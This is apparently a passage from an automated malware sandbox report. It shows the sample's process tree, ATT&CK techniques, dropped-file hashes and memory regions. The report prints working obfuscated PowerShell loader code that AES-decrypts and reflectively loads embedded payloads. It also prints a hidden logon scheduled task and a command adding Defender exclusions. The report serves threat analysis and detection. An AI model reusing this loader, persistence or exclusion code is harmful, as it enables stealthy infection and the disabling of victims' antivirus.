[IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $XhXgp.CopyTo($HOKtt); $XhXgp.Dispose(); $XPcqe.Dispose(); $HOKtt.Dispose(); $HOKtt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$gmgKaIqlDQfPwPX=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn=$gmgKaIqlDQfPwPX.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$Iu = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $Iu;$uSlFIqnuEE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Iu).Split([Environment]::NewLine);foreach ($Uv in $uSlFIqnuEE) { if ($Uv.StartsWith(':: ')) { $f=$Uv.Substring(3); break; }}$payloads_var=[string[]]$f.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1744
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'svchoststr829_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\inicia_str_829.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4848
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\inicia_str_829.vbs"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4648
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\inicia_str_829.bat" "
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMHc0oorp/7T1zNdPR4he+Baz+UuGBpTbs1CD2UuSHk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRkJmm8rX5p5Ix/3aqFmWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$XPcqe=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$HOKtt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$XhXgp=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($XPcqe, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $XhXgp.CopyTo($HOKtt); $XhXgp.Dispose(); $XPcqe.Dispose(); $HOKtt.Dispose(); $HOKtt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$gmgKaIqlDQfPwPX=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn=$gmgKaIqlDQfPwPX.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$oxTPwOCOQOYvLOeeFyIVbjAwPHEyAYRsUwezohJAEyqWbmFxzLAqNUVfXxaPkdnRWGBoJEQyPiqCSEvDbgYOyBFaBZCRhTqBkzZvKqNVVbAFDtmsbwOdezsvbBNKbZrWRPssEZSKtdSwaawhNkPKfn.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$Iu = 'C:\Users\Admin\AppData\Roaming\inicia_str_829.bat';$host.UI.RawUI.WindowTitle = $Iu;$uSlFIqnuEE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Iu).Split([Environment]::NewLine);foreach ($Uv in $uSlFIqnuEE) { if ($Uv.StartsWith(':: ')) { $f=$Uv.Substring(3); break; }}$payloads_var=[string[]]$f.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1068

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
3c31cab863ddd2c6758726bfeab240ba

SHA1
e9d1fbee5bfdbf9ad212041a01c65990fa387dba

SHA256
8d9417aa2f933dcbb9a4c03b4ebdad834211f5a422d0f6eb8483bc18eea1fba2

SHA512
829e146993a59450f2b8a03232c016b9e8af85c57c78a43d02257ce1c96c44078a40b973558941be2277e1ed59b94214e2c84ddf3ab0e239472c98f6df6c5ced

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bf671a107279144bd7a9aece5e1f9067

SHA1
217b81ac47cb9b1d4e7a20d30452c3f2288c1943

SHA256
01d2e7ff1ace7ca6da4fb9d437dabbb508ee1e81f6d2344f21ac3b0d36d31453

SHA512
d87008a74970085d1a71dc7eb112263895201684fc040aa882fa31fc50f97090967b98a81f024f539f6d21f4152c12ba970c5e723eb648545cd2ee10aac3ba48

Download Submit
C:\Users\Admin\AppData\Local\Temp\9780_output.vbs

Filesize
203KB

MD5
0fa1cc8286bef599f8b2ef9827cbe77c

SHA1
6ea37fd1ebaf7862463c52b599397c5bac7d14cc

SHA256
378632fc3ad9d88b55ef4494b897cc7eb5d3995c572b3bf4b7a86c88e395105c

SHA512
df6026088cdee9a57dae4484c6eb78d9f84dfc290c16c13ac555fdab0b117e45a6d44ae7204f1b0aaa1915412af7835301c3b3a9944e793dc41e97cdd81b7f06

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA519.tmp

Filesize
1KB

MD5
0a3c6c6e72cbe1fcfb9489807f44594f

SHA1
c2f4d6f1f6396739178d67d41d9a58a03bc8dc0d

SHA256
969ba15ff91f7674682eb7b1c33783cacf6c9a73af16fd2d5396b2b9bfc4252c

SHA512
de97dcfa2e6fb6f47fcecef3e27bbdde14c5614948dfd7d431fe33ff52f1eecc321008d03f3a43e3bbbd7efef16b846b9008655576c11fa20e835a1aacc12ca5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhdlw1jy.ei0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
74KB

MD5
d500f686cefb76d0cf0e24d5c5ee1cd2

SHA1
d5163283b2016465bee607118e74ce36a17000d2

SHA256
4abe7d25a928d3e8718b190bc350912f83e2b4ec801b5adc157df2f0b0bbcc39

SHA512
9065f6c5463ebe28003e3b288b944cda13869f3a257348a75ae02c27efe47b0d9eff9c399f6b0c8bd33f53dc2fe53f0e94646908a400fc40b0606cc08b6106e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
45.9MB

MD5
2699ed82d2aad10c587e227c168f1386

SHA1
562806f4fc15723dd1f8d21daf43d641af1df894

SHA256
a0f02163062dc25ce4a8256570427fc761855a3189b0650986eedc1f2770f552

SHA512
d2c87e1c1b5b8e42f2db9411566ff22fec7bc7efe639408e231f5e76a1285b8fbd154d0b42e7fb1a7bcfb35332f873ca0af2a49eb87cdc331bf9bfb6fef91cff

Download Submit
C:\Users\Admin\AppData\Local\Temp\njwxrfqx\njwxrfqx.dll

Filesize
4KB

MD5
8c820a83c6f6e47975f2dcfbcf6d39e9

SHA1
96c9c2a117334ce6e2a2df936dbac4468a241bba

SHA256
a2c2861612671d5e624d529e305faec88c8287f63af18fe3ec5d4f0291f2c69f

SHA512
18c40d3cfe84e3bd640b2adc987c4e919fafa07941194bfb366c21e92ae6b0524612281480be81bcea6405f7a00dca47c6d418125c38992d774d29808801bb03

Download Submit
C:\Users\Admin\AppData\Roaming\inicia_str_829.vbs

Filesize
114B

MD5
40113713a90cfa0845662b33378c3718

SHA1
428a71cda816495adb060bf2f4216aac07cc747d

SHA256
cc14cd009df2df2ff1c5f3a16d0283e9b262ea09660f5ebabe72f13042ee96ca

SHA512
e33fcfe312ddb78c06fd9ccc9ac3f036a4e6ede62c0ce5006bf3cd1eb069226b08d4e10a9574c93a645b79d22e5a1eaf8fc5fbf75a4b8ef172d635639597a06b

Download Submit
C:\windows\temp\gtqrefq2.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\njwxrfqx\CSCB78C676D2344E408B3B24824E9C2D4B.TMP

Filesize
652B

MD5
82ebeccbca3ef156033360dfa8c8e1b6

SHA1
e22e30de475d1f9e50cf39a98c77fb1771fc42a5

SHA256
7270f42ee3a7dd29900da928bd54f1c92823a0ef9331c49f3dd9b37ec2e3ff7f

SHA512
93a848c9ca0700e3d798b13adc8bfa728ffdcb57e3754f4383a7e6edc7357a5483afee73f3e3e99b04fa46c638090980e750fcc0caf8f62355882a84d22f60da

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\njwxrfqx\njwxrfqx.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\njwxrfqx\njwxrfqx.cmdline

Filesize
369B

MD5
a4a406b3ff3c314143cb128f4d5358f3

SHA1
38b0cb573a335e3ce2b139f1ff890523a92274e1

SHA256
0953799f11c9f01ac1f13caff7c1706d2332e9b82dd7792ef9bf0ce884f74442

SHA512
97511c3ddcdd0b2bde5e7db468508616850c9155a0f9b32f87e9cd58e71af032b1857dade79ea160e0ed2feafb4fb5e44f05a6131efb9145a3d8a9a74584b330

Download Submit
memory/1744-57-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/1744-53-0x0000000002DF0000-0x0000000002E26000-memory.dmp

Filesize
216KB

Download
memory/1744-54-0x0000000005610000-0x0000000005C3A000-memory.dmp

Filesize
6.2MB

Download
memory/1744-55-0x00000000053F0000-0x0000000005412000-memory.dmp

Filesize
136KB

Download
memory/1744-56-0x0000000005490000-0x00000000054F6000-memory.dmp

Filesize
408KB

Download
memory/1744-74-0x00000000081D0000-0x0000000008776000-memory.dmp

Filesize
5.6MB

Download
memory/1744-66-0x0000000005D80000-0x00000000060D7000-memory.dmp

Filesize
3.3MB

Download
memory/1744-68-0x00000000061A0000-0x00000000061BE000-memory.dmp

Filesize
120KB

Download
memory/1744-69-0x00000000061F0000-0x000000000623C000-memory.dmp

Filesize
304KB

Download
memory/1744-70-0x0000000007B50000-0x00000000081CA000-memory.dmp

Filesize
6.5MB

Download
memory/1744-71-0x0000000007300000-0x000000000731A000-memory.dmp

Filesize
104KB

Download
memory/1744-72-0x0000000007370000-0x0000000007378000-memory.dmp

Filesize
32KB

Download
memory/1744-73-0x0000000007380000-0x000000000738E000-memory.dmp

Filesize
56KB

Download
memory/2044-30-0x00000162D5450000-0x00000162D5458000-memory.dmp

Filesize
32KB

Download
memory/2044-17-0x00000162D5470000-0x00000162D548C000-memory.dmp

Filesize
112KB

Download
memory/2044-16-0x00000162BCA40000-0x00000162BCA62000-memory.dmp

Filesize
136KB

Download
memory/2972-118-0x0000000006090000-0x00000000060A2000-memory.dmp

Filesize
72KB

Download
memory/3872-2-0x00007FF7E61D0000-0x00007FF7EA055000-memory.dmp

Filesize
62.5MB

Download
memory/4848-84-0x0000000007A00000-0x0000000007A34000-memory.dmp

Filesize
208KB

Download
memory/4848-85-0x0000000070E70000-0x0000000070EBC000-memory.dmp

Filesize
304KB

Download
memory/4848-94-0x0000000007A40000-0x0000000007A5E000-memory.dmp

Filesize
120KB

Download
memory/4848-95-0x0000000007A60000-0x0000000007B04000-memory.dmp

Filesize
656KB

Download
memory/4848-96-0x0000000007D20000-0x0000000007D2A000-memory.dmp

Filesize
40KB

Download
memory/4848-97-0x0000000007F30000-0x0000000007FC6000-memory.dmp

Filesize
600KB

Download
memory/4848-98-0x0000000007EB0000-0x0000000007EC1000-memory.dmp

Filesize
68KB

Download